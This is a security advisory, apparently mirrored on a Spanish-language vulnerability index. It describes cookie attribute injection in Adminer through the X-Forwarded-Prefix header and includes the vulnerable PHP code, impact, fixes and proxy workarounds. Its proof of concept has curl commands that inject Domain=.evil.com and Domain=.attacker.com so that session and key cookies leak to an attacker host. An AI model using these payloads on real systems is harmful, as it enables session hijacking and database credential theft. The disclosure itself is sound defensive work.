GHSA-C533-9QWM-8W5H
Cookie Attribute Injection via Unsanitized X-Forwarded-Prefix in Set-Cookie Headers
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:L/A:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-C533-9QWM-8W5H divulgada · CVSS 6.9 (GitHub) | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
Adminer versions 4.6.0 through at least 5.4.2 are vulnerable to cookie attribute injection via the `X-Forwarded-Prefix` HTTP header. An attacker who can influence this header (e.g., through a reverse proxy that forwards it from clients, an attacker-controlled upstream proxy, or a man-in-the-middle position) can inject arbitrary cookie attributes including `Domain`, `Path`, `Secure`, and `SameSite` into all `Set-Cookie` response headers emitted by Adminer.
This allows an attacker to expand the cookie scope to an attacker-controlled domain (e.g., `Domain=.evil.com`), causing the victim's browser to send Adminer's `adminer_sid` (session ID) and `adminer_key` (database password encryption key) cookies to the attacker's server on subsequent requests.
Vulnerable Code
Root cause 1 - Unsanitized header prepended to `REQUEST_URI`
(`adminer/include/bootstrap.inc.php`, lines 40–41):
if ($_SERVER["HTTP_X_FORWARDED_PREFIX"]) {
$_SERVER["REQUEST_URI"] = $_SERVER["HTTP_X_FORWARDED_PREFIX"] . $_SERVER["REQUEST_URI"];
}The client-supplied `X-Forwarded-Prefix` header is concatenated into `REQUEST_URI` with no validation or sanitization of special characters (specifically semicolons, which delimit cookie attributes).
Root cause 2 - Manual `Set-Cookie` header construction without escaping
(`adminer/include/functions.inc.php`, lines 330–339):
function cookie(string $name, ?string $value, int $lifetime = 2592000): void {
header(
"Set-Cookie: $name=" . rawurlencode($value)
. ($lifetime ? "; expires=" . gmdate("D, d M Y H:i:s", time() + $lifetime) . " GMT" : "")
. "; path=" . preg_replace('~\?.*~', '', $_SERVER["REQUEST_URI"])
. (HTTPS ? "; secure" : "")
. "; HttpOnly; SameSite=lax",
false
);
}The tainted `REQUEST_URI` is interpolated directly into the `path=` attribute of the `Set-Cookie` header. Since semicolons are not stripped or escaped, any `;`-separated directives injected via `X-Forwarded-Prefix` become valid cookie attributes parsed by the browser.
Root cause 3 - Session cookie also tainted
(`adminer/include/bootstrap.inc.php`, line 49):
session_set_cookie_params(0, preg_replace('~\?.*~', '', $_SERVER["REQUEST_URI"]), "", HTTPS, true);The PHP session cookie (`adminer_sid`) path is similarly derived from the tainted `REQUEST_URI`, extending the same vulnerability to the session cookie set by PHP itself.
Impact
- Session hijacking: The `adminer_sid` session cookie is sent to the attacker's domain, allowing full session takeover.
- Credential theft: The `adminer_key` cookie contains the key used to encrypt/decrypt database passwords stored in the session. With this key, an attacker can decrypt saved database credentials.
- Session fixation: An attacker can inject arbitrary `Path`, `SameSite`, and `Secure` attributes, manipulating cookie behavior.
- Wide applicability: The `X-Forwarded-Prefix` header was specifically added to support reverse proxy deployments (Traefik `PathPrefixStrip`, nginx, HAProxy). These are the exact environments where this header is forwarded from clients, making the vulnerability relevant in the deployments it was designed for.
Affected Cookies
| Cookie | Content | Risk |
|--------|---------|------|
| `adminer_sid` | PHP session ID | Session hijacking |
| `adminer_key` | Encryption key for stored DB passwords | Credential theft |
| `adminer_settings` | User preferences | Low (information disclosure) |
Proof of Concept
# Normal request with clean Set-Cookie headerss:
curl -sI http://localhost:8080/adminer/index.php | grep -i set-cookie
> Response: Set-Cookie: adminer_key=...; path=/adminer/index.php; HttpOnly; SameSite=lax
# Malicious request — inject Domain=.evil.com:
curl -sI -H "X-Forwarded-Prefix: /adminer; Domain=.evil.com" \
http://localhost:8080/adminer/index.php | grep -i set-cookie
> Response: Set-Cookie: adminer_key=...; path=/adminer; Domain=.evil.com/adminer/index.php; HttpOnly; SameSite=lax
# ^^^^^^^^^^^^^^^^^^^ INJECTED
# Full attribute override - inject Domain + SameSite=None:
curl -sI -H "X-Forwarded-Prefix: /; Path=/; Domain=.attacker.com; SameSite=None" \
http://localhost:8080/adminer/index.php | grep -i set-cookie
> Response Set-Cookie: adminer_key=...; path=/; Path=/; Domain=.attacker.com; SameSite=None/adminer/index.php; ...Recommended Fix
- Sanitize `X-Forwarded-Prefix`: Strip or reject semicolons, newlines, and other HTTP header metacharacters from the `X-Forwarded-Prefix` value before using it.
- Use `setcookie()` / `setrawcookie()`: Replace the manual `header("Set-Cookie: ...")` construction in `cookie()` with PHP's built-in `setcookie()` function, which properly escapes attribute values.
- Validate `REQUEST_URI` before cookie use: After any prefix manipulation, strip characters that are invalid in a cookie `path` attribute (`;`, `,`, whitespace per RFC 6265).
// Example fix for bootstrap.inc.php:
if ($_SERVER["HTTP_X_FORWARDED_PREFIX"]) {
$prefix = preg_replace('~[;\r\n].*~', '', $_SERVER["HTTP_X_FORWARDED_PREFIX"]);
$_SERVER["REQUEST_URI"] = $prefix . $_SERVER["REQUEST_URI"];
}Server Based Workaround Via Config
Configure the reverse proxy to set `X-Forwarded-Prefix` to a static, trusted value rather than forwarding the client-supplied header:
# nginx — secure configuration:
fastcgi_param HTTP_X_FORWARDED_PREFIX /adminer; # static value, not $http_x_forwarded_prefix# Traefik, use middleware instead of client headers:
middlewares:
strip-prefix:
stripPrefix:
prefixes:
- "/adminer"Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Packagistvrana/adminer |
Sin parche | — | — | — |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/vrana/adminer/security/advisories/GHSA-c533-9qwm-8w5hLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
